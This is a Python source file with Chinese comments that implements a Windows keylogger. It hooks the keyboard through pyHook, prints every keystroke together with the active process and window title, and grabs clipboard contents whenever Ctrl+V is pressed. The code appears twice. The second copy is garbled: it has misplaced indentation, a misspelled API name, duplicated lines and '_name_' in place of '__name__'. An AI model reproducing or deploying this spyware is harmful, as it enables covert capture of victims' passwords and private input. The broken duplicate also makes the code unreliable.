# coding=utf-8
from ctypes import *
import pythoncom
import pyHook
import win32clipboard

user32 = windll. user32
kernel32 = windll. kernel32
psapi  = windll. psapi
current_window = None

# 进程切换函数
def get_current_process( ):
    
    # 获得前台窗口句柄
    hwnd = user32.GetForegroundWindow( )
    
    # 获得进程PID
    pid =c_ulong(0)  
    user32.GetWindowThreadProcessId(hwnd,byref(pid))
    
    # 保存当前进程ID
    process_id="%d" %pid.value             

    # 申请内存
    executable = create_string_buffer( "\x00" * 512)
    h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
    
    # 获得进程名
    psapi.GetModuleBaseNameA(h_process,None,byref(executable) ,512) 
    
    # 读取窗口标题
    window_title = create_string_buffer(" \x00" * 512)

    # 获得窗口名
    length=user32.GetWindowTextA( hwnd, byref( window_title) ,512)   

    # 输出
    print("[PID:%s-%s-%s]"%(process_id,executable.value,window_title.value))
    
    #关闭句柄
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

def key_event(event):
    global current_window
    if event.WindowName != current_window:   #检查目标是否切换了窗口
        current_window = event.WindowName
        get_current_process( )

    if event. Ascii > 32 and event. Ascii <127:   #检查是否为常规按键
        print(chr(event.Ascii))
    else:
        if event.Key == "V":   # 如果是Ctrl + V，则获取剪贴板内容
            win32clipboard.OpenClipboard( )
            pasted_value=win32clipboard.GetClipboardData( )
            win32clipboard. CloseClipboard( )
            print("[PASTE]-%s" %(pasted_value))
        else:
            print("[%s]" %(event.Key))

    return True                   #返回到下一个钩子事件

def key_logger( ):
    hooker =pyHook. HookManager( )   #创建钩子函数管理器
    hooker.KeyDown = key_event  #注册钩子按键事件的处理函数
    hooker.HookKeyboard( )        #创建键盘钩子
    pythoncom.PumpMessages( )

if __name__=='__main__':
    key_logger( ) 
    # coding:utf-8
    from ctypes import *
    import pythoncom
    import pyHook
    import win32clipboard

    user32 =  windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None

def get_current_process():
    hwnd =user32.GetForegroundWindow()
    pid = c_ulong(0)
    user32.GetWindowThreadProcessld(hwnd,byref(pid))
    process_id="%d" %pid.value
    executable = create_string_buffer("\x00"*512)
    h_process = kernel32.OpenProcess(0x400|0x10,False,pid)
    window_title = create_string_buffer(" \x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
    window_title = create_string_buffer(" \x00" * 512)
    length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
    print("[PID:%s-%s-%s]" %(process_id, executable.value, window_title.value))
    kernel32.CloseHandle(hwnd)
    kernel32.CloseHandle(h_process)

def key_event(event):
    global current_window
    if  event.WindowName != current_window:
        current_window = event.WindowName
        get_current_process()
    if event.Ascii > 32 and event.Ascii < 127:
        print(chr(event.Ascii))
    else:
        if event.Key == "V":
            win32clipboard.OpenClipboard()
            pasted_value = win32clipboard.GetClipboardData()
            win32clipboard.CloseClipboard()
            print("[PASTE]-%s" %(pasted_value))
        else:
            print("[%s]" %event.Key)
        return True

def key_logger( ):
    hooker  =pyHook.HookManager( )   #创建钩子函数管理器
    hooker.KeyDown = key_event  #注册钩子按键事件的处理函数
    hooker.HookKeyboard( )        #创建键盘钩子
    pythoncom.PumpMessages( )


if _name_ == '__main__':
    key_logger( )
